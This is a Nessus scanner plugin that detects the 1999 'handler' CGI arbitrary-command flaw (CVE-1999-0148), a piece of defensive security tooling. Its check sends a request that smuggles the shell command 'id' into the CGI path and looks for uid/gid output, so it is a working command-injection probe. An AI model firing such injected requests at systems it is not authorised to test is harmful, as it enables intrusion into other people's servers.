#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#

if(description)
{
 script_id(10100);
 script_version ("$Revision$");
 script_bugtraq_id(380);
 script_cve_id("CVE-1999-0148");
 name["english"] = "Handler";
 name["francais"] = "Handler";
 script_name(english:name["english"], francais:name["francais"]);
 
 desc["english"] = "The 'handler' cgi is installed. This CGI has
a well known security flaw that lets anyone execute arbitrary
commands with the privileges of the http daemon (root or nobody).

Solution : remove it from /cgi-bin.

Risk factor : Serious";


 desc["francais"] = "Le cgi 'handler' est installé. Celui-ci possède
un problème de sécurité bien connu qui permet à n'importe qui de faire
executer des commandes arbitraires au daemon http, avec les privilèges
de celui-ci (root ou nobody). 

Solution : retirez-le de /cgi-bin.

Facteur de risque : Sérieux";


 script_description(english:desc["english"], francais:desc["francais"]);
 
 summary["english"] = "Checks for the presence of /cgi-bin/handler";
 summary["francais"] = "Vérifie la présence de /cgi-bin/handler";
 
 script_summary(english:summary["english"], francais:summary["francais"]);
 
 script_category(ACT_GATHER_INFO);
 
 
 script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
		francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
 family["english"] = "CGI abuses";
 family["francais"] = "Abus de CGI";
 script_family(english:family["english"], francais:family["francais"]);
 script_dependencie("find_service.nes", "no404.nasl");
 script_require_ports("Services/www", 80);
 exit(0);
}

#
# The script code starts here
#

include("http_func.inc");

port = get_kb_item("Services/www");
if(!port)port = 80;

if(get_port_state(port))
{
  soc = http_open_socket(port);
  if(!soc)exit(0);
  req = http_get(item:"handler/blah%3Bid|?data=Download", port:port);
  send(socket:soc, data:req);
  r = http_recv(socket:soc);
  http_close_socket(soc);
  if(("uid=" >< r) && ("gid=" >< r))security_hole(port);
}